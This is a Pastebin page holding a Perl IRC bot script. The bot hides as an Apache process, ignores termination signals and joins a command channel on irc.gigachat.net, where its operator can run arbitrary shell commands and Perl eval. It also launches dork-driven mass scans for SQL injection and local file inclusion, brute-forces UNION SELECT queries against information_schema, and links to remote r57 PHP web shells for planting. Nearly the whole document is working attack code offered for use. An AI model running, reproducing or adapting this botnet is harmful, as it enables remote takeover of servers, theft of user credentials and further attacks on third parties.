Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- ################################################
- use HTTP::Request; #
- use HTTP::Request::Common; #
- use HTTP::Request::Common qw(POST); #
- use LWP::Simple; #
- use LWP 5.53; #
- use LWP::UserAgent; #
- use Socket; #
- use IO::Socket; #
- use IO::Socket::INET; #
- use IO::Select; #
- use MIME::Base64; #
- ################################################
- my $datetime = localtime;
- my $fakeproc = "/usr/sbin/apache2 -k start";
- my $ircserver = "irc.gigachat.net";
- my $ircport = "6667";
- my $nickname = "fudeu{".int(rand(10000))."}";
- my $ident = "udidi";
- my $channel = "#get_unS4fety.project";
- my $admin = "MRC";
- my $fullname = "satannnn";
- my $sqlcmd = '!sql';
- my $sqllogo = "15,1(4@9SQL15)";
- my $injector = "http://chwines.ie/var/logs";
- my $botshell = "https://raw.githubusercontent.com/Snifer/L4bsForShell/master/PHP/r57.txt";
- my $botshell2 = "https://raw.githubusercontent.com/Snifer/L4bsForShell/master/PHP/r57.txt";
- my $thumbshell = "https://pastebin.com/raw/A0MdcYDe";
- my @uagents = ("Microsoft Internet Explorer/4.0b1 (Windows 95)","Mozilla/1.22 (compatible; MSIE 1.5; Windows NT)","Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)","Mozilla/2.0 (compatible; MSIE 3.01; Windows 98)","Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11)","Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)","Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)","Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)","Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)","Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)","Mozilla/4.0 (compatible; MSIE 7.0b; Win32)","Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)","Microsoft Pocket Internet Explorer/0.6","Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)","MOT-MPx220/1.400 Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone;","Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.1; Windows NT 5.1;)","Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1;)","Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)","Advanced Browser (http://www.avantbrowser.com)","Avant Browser (http://www.avantbrowser.com)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)","Mozilla/5.0 (compatible; Konqueror/3.1-rc3; i686 Linux; 20020515)","Mozilla/5.0 (compatible; Konqueror/3.1; Linux 2.4.22-10mdk; X11; i686; fr, fr_FR)","Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007","Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511","Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929","Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0","Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox","Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050609 Firefox/1.0.4","Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6","Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7","Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4","Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4","Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8) Gecko/20051107 Firefox/1.5","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1","Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1","Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko/20051002 Firefox/1.6a1","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1","Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1","Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b2) Gecko/20060710 Firefox/2.0b2","Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20060918 Firefox/2.0","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b","Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0","Mozilla/3.0 (OS/2; U)","Mozilla/3.0 (X11; I; SunOS 5.4 sun4m)","Mozilla/4.61 (Macintosh; I; PPC)","Mozilla/4.61 [en] (OS/2; U)","Mozilla/4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC)","Mozilla/4.8 [en] (Windows NT 5.0; U)");
- my $uagent = $uagents[rand(scalar(@uagents))];
- my $lfdtest = "../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%00";
- my $open_test = "/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html";
- my $loko_output = ("FCKeditor - Resources Browser");
- my $open_output = ("FCKeditor - Connectors Tests");
- my @tabele = ('admin','tblUsers','tblAdmin','user','users','username','usernames','usuario',
- 'name','names','nombre','nombres','usuarios','member','members','admin_table','miembro','miembros','membername','admins','administrator',
- 'administrators','passwd','password','passwords','pass','Pass','tAdmin','tadmin','user_password','user_passwords','user_name','user_names',
- 'member_password','mods','mod','moderators','moderator','user_email','user_emails','user_mail','user_mails','mail','emails','email','address',
- 'e-mail','emailaddress','correo','correos','phpbb_users','log','logins','login','registers','register','usr','usrs','ps','pw','un','u_name','u_pass',
- 'tpassword','tPassword','u_password','nick','nicks','manager','managers','administrador','tUser','tUsers','administradores','clave','login_id','pwd','pas','sistema_id',
- 'sistema_usuario','sistema_password','contrasena','auth','key','senha','tb_admin','tb_administrator','tb_login','tb_logon','tb_members_tb_member',
- 'tb_users','tb_user','tb_sys','sys','fazerlogon','logon','fazer','authorization','membros','utilizadores','staff','nuke_authors','accounts','account','accnts',
- 'associated','accnt','customers','customer','membres','administrateur','utilisateur','tuser','tusers','utilisateurs','password','amministratore','god','God','authors',
- 'asociado','asociados','autores','membername','autor','autores','Users','Admin','Members','Miembros','Usuario','Usuarios','ADMIN','USERS','USER','MEMBER','MEMBERS','USUARIO','USUARIOS','MIEMBROS','MIEMBRO');
- my @kolumny = ('admin_name','cla_adm','usu_adm','fazer','logon','fazerlogon','authorization','membros','utilizadores','sysadmin','email',
- 'user_name','username','name','user','user_name','user_username','uname','user_uname','usern','user_usern','un','user_un','mail',
- 'usrnm','user_usrnm','usr','usernm','user_usernm','nm','user_nm','login','u_name','nombre','login_id','usr','sistema_id','author',
- 'sistema_usuario','auth','key','membername','nme','unme','psw','password','user_password','autores','pass_hash','hash','pass','correo',
- 'userpass','user_pass','upw','pword','user_pword','passwd','user_passwd','passw','user_passw','pwrd','user_pwrd','pwd','authors',
- 'user_pwd','u_pass','clave','usuario','contrasena','pas','sistema_password','autor','upassword','web_password','web_username');
- $SIG{'INT'} = 'IGNORE';
- $SIG{'HUP'} = 'IGNORE';
- $SIG{'TERM'} = 'IGNORE';
- $SIG{'CHLD'} = 'IGNORE';
- $SIG{'PS'} = 'IGNORE';
- $ircserver = "$ARGV[0]" if $ARGV[0];
- $0 = "$fakeproc"."\0" x 16;;
- my $pid = fork;
- exit if $pid;
- die "\n[!] algo errado !!!: $!\n\n" unless defined($pid);
- our %irc_servers;
- our %DCC;
- my $dcc_sel = new IO::Select->new();
- $sel_client = IO::Select->new();
- sub sendraw {
- if ($#_ == '1') {
- my $socket = $_[0];
- print $socket "$_[1]\n";
- } else {
- print $IRC_cur_socket "$_[0]\n";
- }
- }
- sub connector {
- my $mynick = $_[0];
- my $ircserver_con = $_[1];
- my $ircport_con = $_[2];
- my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
- if (defined($IRC_socket)) {
- $IRC_cur_socket = $IRC_socket;
- $IRC_socket->autoflush(1);
- $sel_client->add($IRC_socket);
- $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
- $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
- $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
- $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
- nick("$mynick");
- my $versi = "uuuuudidi]";
- sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$versi");
- sleep (1);}}
- sub parse {
- my $servarg = shift;
- if ($servarg =~ /^PING \:(.*)/) {
- sendraw("PONG :$1");
- }
- elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
- if (lc($1) eq lc($mynick)) {
- $mynick = $4;
- $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
- }
- }
- elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
- nick("$mynick".int rand(1));
- }
- elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
- $mynick = $2;
- $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
- $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
- sendraw("MODE $mynick +i");
- sendraw("JOIN $channel");
- sleep(2);
- sendraw("PRIVMSG $admin :Olá $admin estou aqui !!!");
- }
- }
- my $line_temp;
- while( 1 ) {
- while (!(keys(%irc_servers))) { &connector("$nickname", "$ircserver", "$ircport"); }
- select(undef, undef, undef, 0.01);;
- delete($irc_servers{''}) if (defined($irc_servers{''}));
- my @ready = $sel_client->can_read(0);
- next unless(@ready);
- foreach $fh (@ready) {
- $IRC_cur_socket = $fh;
- $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
- $nread = sysread($fh, $ircmsg, 4096);
- if ($nread == 0) {
- $sel_client->remove($fh);
- $fh->close;
- delete($irc_servers{$fh});
- }
- @lines = split (/\n/, $ircmsg);
- $ircmsg =~ s/\r\n$//;
- if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
- my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
- my $engine ="google,alltheweb,yahoo,sapo,altavista,ask,GooGLe2,GooGLe3,wiki,onet,snz,seznam,naver,amidalla";
- if ($path eq $mynick) {
- if ($msg =~ /^PING (.*)/) {
- sendraw("NOTICE $nick :PING $1");
- }
- if ($msg =~ /^VERSION/) {
- sendraw("NOTICE $nick :VERSION mIRC v6.17 Khaled Mardam-Bey");
- }
- if ($msg =~ /^TIME/) {
- sendraw("NOTICE $nick :TIME ".$datetime."");
- }
- if (&isAdmin($nick) && $msg eq "!die") {
- &shell("$path","kill -9 $$");
- }
- if (&isAdmin($nick) && $msg eq "!killall") {
- &shell("$path","killall -9 perl");
- }
- if (&isAdmin($nick) && $msg eq "!reset") {
- sendraw("QUIT :Restarting...");
- }
- if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
- sendraw("JOIN #".$1);
- }
- if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
- sendraw("PART #".$1);
- }
- if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
- sendraw("NICK ".$1);
- }
- if (&isAdmin($nick) && $msg =~ /^!pid/) {
- sendraw($IRC_cur_socket, "PRIVMSG $nick :9,1Fake Process/PID : $fakeproc - $$");
- }
- if (&isAdmin($nick) && $msg !~ /^!/) {
- &shell("$nick","$msg");
- }
- if (&isAdmin($nick) && $msg=~ /^$cmdlfi\s+(.*?)\s+(.*)/){
- my $url = $1.$lfdtest;
- my $cmd = $2;
- &cmdlfi($url,$cmd,$nick);
- }
- if (&isAdmin($nick) && $msg=~ /^$cmdxml\s+(.*?)\s+(.*)/){
- my $url = $1;
- my $cmd = $2;
- &cmdxml($url,$cmd,$nick);
- }
- }
- else {
- if (&isAdmin($nick) && $msg eq "!die") {
- &shell("$path","kill -9 $$");
- }
- if (&isAdmin($nick) && $msg eq "!killall") {
- &shell("$path","killall -9 perl");
- }
- if (&isAdmin($nick) && $msg eq "!reset") {
- sendraw("QUIT :Restarting...");
- }
- if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
- sendraw("JOIN #".$1);
- }
- if (&isAdmin($nick) && $msg eq "!part") {
- sendraw("PART $path");
- }
- if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
- sendraw("PART #".$1);
- }
- if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {
- &shell("$path","$1");
- }
- if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
- &shell("$path","$1");
- }
- if (&isAdmin($nick) && $msg =~ /^!eval (.*)/) {
- eval "$1";
- }
- ##################################################################### HIT
- if ($msg=~ /^$cmdlfi\s+(.+?)\s+(.*)/){
- my $url = $1.$lfdtest;
- my $cmd = $2;
- &cmdlfi($url,$cmd,$path);
- }
- if ($msg=~ /^$cmdxml\s+(.+?)\s+(.*)/){
- my $url = $1;
- my $cmd = $2;
- &cmdxml($url,$cmd,$path);
- }
- ##################################################################### HELP COMMAND
- if ($msg=~ /^!help/) {
- my $helplogo = "15,1(4@9Help15)";
- &msg("$path","$helplogo 14 #####################9[HELP]14##############################");
- &msg("$path","$helplogo 7 ( $rficmd|$lficmd|$sqlcmd|$xmlcmd|$thumbcmd [bug][dork]|!portscan[ip][port]) )");
- &msg("$path","$helplogo 7 ( $cmdlfi|$cmdxml) [target][cmd] )");
- &msg("$path","$helplogo 7 ( $zencmd | $oscocmd | $lokocmd | $opcmd [dork] ) ");sleep(2);
- &msg("$path","$helplogo 7 ( !about|!engine|!version|!pid )");
- &msg("$path","$helplogo 14 ######################9[END HELP]14#########################");
- }
- if ($msg=~ /^!engine/) {
- my $enginelogo = "15,1(4@9EnginE15)";
- &msg("$path","$enginelogo 4 google,alltheweb,bing,altavista,ask,uol,yahoo,sapo,tiscali,clusty,gutser,exalead,lycos,virgilio,webde,hotbot,aol,lygo,yause,baidu,black,onet,sizuka,walla,seznam,naver,gibla,yebol,amidalla,kvasir,buscar,excite,interia,snz,rambler,yandex,blackle,wiki,yause,rose,duck,mamma,fireball,abacho,netscape,webcrawl,live,GooGLe2,GooGLe3");
- }
- if ($msg=~ /^!about/) {
- my $aboutlogo = "15,1(4@9About Bot15)";
- &msg("$path","$aboutlogo 9¬¬");
- &msg("$path","$aboutlogo 13MRC uuuuuudidi");
- &msg("$path","$aboutlogo 7corno kk");
- }
- if ($msg=~ /^!version/) {
- my $versionlogo = "15,1(4@9Version15)";
- &msg("$path","$versionlogo 13 21/06/13");
- }
- if ($msg=~ /^!respon/ || $msg=~ /^!id/) {
- if (&isFound($injector,"aXBheXMg=")) {
- &msg("$path","15,1(4@9Injector15)13 PHP Shell 9ATIVADO!!!");
- } else {
- &msg("$path","15,1(4@9Injector15)13 PHP Shell 4PERDIDO!!!");
- }
- }
- if (&isAdmin($nick) && $msg =~ /^!pid/) {
- ¬ice("$nick","9,1Fake Process/PID : 8$fakeproc - $$");
- }
- ##################################################################### SQL SCAN
- if ($msg=~ /^$sqlcmd\s+(.+?)\s+(.*)/) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my ($bug,$dork) = ($1,$2);
- &msg("$path","$sqllogo 9Dork :4 $dork");
- &msg("$path","$sqllogo 13Bugz :4 $bug");
- &msg("$path","$sqllogo 8Search Engine Loading ...");
- &scan_start($path,$bug,$dork,$engine,4);
- }
- exit;
- }
- }
- #######################################################################################
- }
- }
- for(my $c=0; $c<= $#lines; $c++) {
- $line = $lines[$c];
- $line = $line_temp.$line if ($line_temp);
- $line_temp = '';
- $line =~ s/\r$//;
- unless ($c == $#lines) {
- &parse("$line");
- } else {
- if ($#lines == 0) {
- &parse("$line");
- } elsif ($lines[$c] =~ /\r$/) {
- &parse("$line");
- } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
- &parse("$line");
- } else {
- $line_temp = $line;
- }
- }
- }
- }
- }
- #########################################
- sub type () {
- my ($chan,$bug,$dork,$engine,$type) = @_;
- if ($type == 1){&rfi($chan,$bug,$dork,$engine);}
- elsif ($type == 2){&lfi($chan,$bug,$dork,$engine);}
- elsif ($type == 3){&xml($chan,$bug,$dork,$engine);}
- elsif ($type == 4){&sql($chan,$bug,$dork,$engine);}
- elsif ($type == 5){&osco($chan,$bug,$dork,$engine);}
- elsif ($type == 6){&loko($chan,$bug,$dork,$engine);}
- elsif ($type == 7){&op($chan,$bug,$dork,$engine);}
- elsif ($type == 8){&zen($chan,$bug,$dork,$engine);}
- elsif ($type == 9){&thumb($chan,$bug,$dork,$engine);}
- }
- sub scan_start() {
- my ($chan,$bug,$dork,$engine,$type) = @_;
- if ($engine =~ /google/i) {
- if (my $pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"GooGLe",$type);
- } exit; }
- }
- if ($engine =~ /alltheweb/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"AllTheWeb",$type);
- } exit; }
- }
- if ($engine =~ /bing/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"Bing",$type);
- } exit; }
- }
- if ($engine =~ /altavista/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"ALtaViSTa",$type);
- } exit; }
- }
- if ($engine =~ /ask/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"AsK",$type);
- } exit; }
- }
- if ($engine =~ /uol/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"UoL",$type);
- } exit; }
- }
- if ($engine =~ /yahoo/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YahOo",$type);
- } exit; }
- }
- if ($engine =~ /sapo/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"SaPo",$type);
- } exit; }
- }
- if ($engine =~ /tiscali/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"TisCali",$type);
- } exit; }
- }
- if ($engine =~ /clusty/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"CluSty",$type);
- } exit; }
- }
- if ($engine =~ /gutser/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"GutSer",$type);
- } exit; }
- }
- if ($engine =~ /exalead/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"ExaLead",$type);
- } exit; }
- }
- if ($engine =~ /lycos/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"LyCos",$type);
- } exit; }
- }
- if ($engine =~ /virgilio/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"VirgiLio",$type);
- } exit; }
- }
- if ($engine =~ /webde/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"WebDe",$type);
- } exit; }
- }
- if ($engine =~ /hotbot/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"HotBot",$type);
- } exit; }
- }
- if ($engine =~ /aol/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"AoL",$type);
- } exit; }
- }
- if ($engine =~ /lygo/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"LyGo",$type);
- } exit; }
- }
- if ($engine =~ /yause/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YauSe",$type);
- } exit; }
- }
- if ($engine =~ /baidu/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"BaiDu",$type);
- } exit; }
- }
- if ($engine =~ /black/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"BLacK",$type);
- } exit; }
- }
- if ($engine =~ /onet/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"oNeT",$type);
- } exit; }
- }
- if ($engine =~ /sizuka/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"SiZuka",$type);
- } exit; }
- }
- if ($engine =~ /walla/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"WaLLa",$type);
- } exit; }
- }
- if ($engine =~ /seznam/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"SeZnaM",$type);
- } exit; }
- }
- if ($engine =~ /naver/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"NaVeR",$type);
- } exit; }
- }
- if ($engine =~ /gibla/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"GiBLa",$type);
- } exit; }
- }
- if ($engine =~ /yebol/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"Yebol",$type);
- } exit; }
- }
- if ($engine =~ /amidalla/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"Amidalla",$type);
- } exit; }
- }
- if ($engine =~ /kvasir/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"Kvasir",$type);
- } exit; }
- }
- if ($engine =~ /buscar/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"Buscar",$type);
- } exit; }
- }
- if ($engine =~ /excite/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"Excite",$type);
- } exit; }
- }
- if ($engine =~ /interia/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"Interia",$type);
- } exit; }
- }
- if ($engine =~ /snz/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"Snz",$type);
- } exit; }
- }
- if ($engine =~ /rambler/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"Rambler",$type);
- } exit; }
- }
- if ($engine =~ /yandex/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"Yandex",$type);
- } exit; }
- }
- if ($engine =~ /blackle/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"Blackle",$type);
- } exit; }
- }
- if ($engine =~ /wiki/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"Wikipedia",$type);
- } exit; }
- }
- if ($engine =~ /yause/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YauSe",$type);
- } exit; }
- }
- if ($engine =~ /rose/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"RoSe",$type);
- } exit; }
- }
- if ($engine =~ /duck/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"DucK",$type);
- } exit; }
- }
- if ($engine =~ /mamma/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"mamma",$type);
- } exit; }
- }
- if ($engine =~ /fireball/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"fireball",$type);
- } exit; }
- }
- if ($engine =~ /abacho/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"abacho",$type);
- } exit; }
- }
- if ($engine =~ /netscape/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"netscape",$type);
- } exit; }
- }
- if ($engine =~ /webcrawl/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"webcrawl",$type);
- } exit; }
- }
- if ($engine =~ /live/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"live",$type);
- } exit; }
- }
- if ($engine =~ /GooGLe2/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"GooGLe2",$type);
- } exit; }
- }
- if ($engine =~ /GooGLe3/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"GooGLe3",$type);
- } exit; }
- }
- }
- #########################################
- sub sql() {
- my $chan = $_[0];
- my $bug = $_[1];
- my $dork = $_[2];
- my $engine = $_[3];
- my $count = 0;
- my @list = &search_engine($chan,$bug,$dork,$engine,$sqllogo);
- my $num = scalar(@list);
- if ($num > 0) {
- foreach my $site (@list) {
- $count++;
- if ($count == $num-1) { &msg("$chan","$sqllogo(4@8$engine15)10 Scan finish"); }
- my $test = "http://".$site.$bug."'";
- my $vuln = "http://".$site."4".$bug;
- my $sqlsite = "http://".$site.$bug;
- my $html = &get_content($test);
- if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
- if ($html =~ m/Você tem um erro na sua sintaxe SQL/i || $html =~ m/Query failed/i || $html =~ m/SQL query failed/i ) {
- &sqlbrute($sqlsite,$chan,$engine);}
- elsif ($html =~ m/ODBC SQL Server Driver/i || $html =~ m/Unclosed quotation mark/i || $html =~ m/Microsoft OLE DB Provider for/i ) {
- &msg("$chan","$sqllogo(4@8$engine15)15(4@9MsSQL15)13 ".$vuln);}
- elsif ($html =~ m/Microsoft JET Database/i || $html =~ m/ODBC Microsoft Access Driver/i || $html =~ m/Microsoft OLE DB Provider for Oracle/i ) {
- &msg("$chan","$sqllogo(4@8$engine15)15(4@9MsAccess15)13 ".$vuln);}
- elsif ($html =~ m/mysql_/i || $html =~ m/Division by zero in/i || $html =~ m/mysql_fetch_array/i ) {
- &sqlbrute($sqlsite,$chan,$engine);}
- } exit; sleep(2); }
- }
- }
- }
- sub sqlbrute() {
- my $situs=$_[0];
- my $chan =$_[1];
- my $engine=$_[2];
- my $columns=20;
- my $cfin.="--";
- my $cmn.= "+";
- for ($column = 0 ; $column < $columns ; $column ++)
- {
- $union.=','.$column;
- $inyection.=','."0x6c6f67696e70776e7a";
- if ($column == 0)
- {
- $inyection = '';
- $union = '';
- }
- $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cfin;
- $response=get($sql);
- if($response =~ /loginpwnz/)
- {
- $column ++;
- $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cfin;
- &msg("$chan","$sqllogo(4@8$engine15)15(4@9SQL15)13 $sql ");
- $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."information_schema.tables".$cfin;
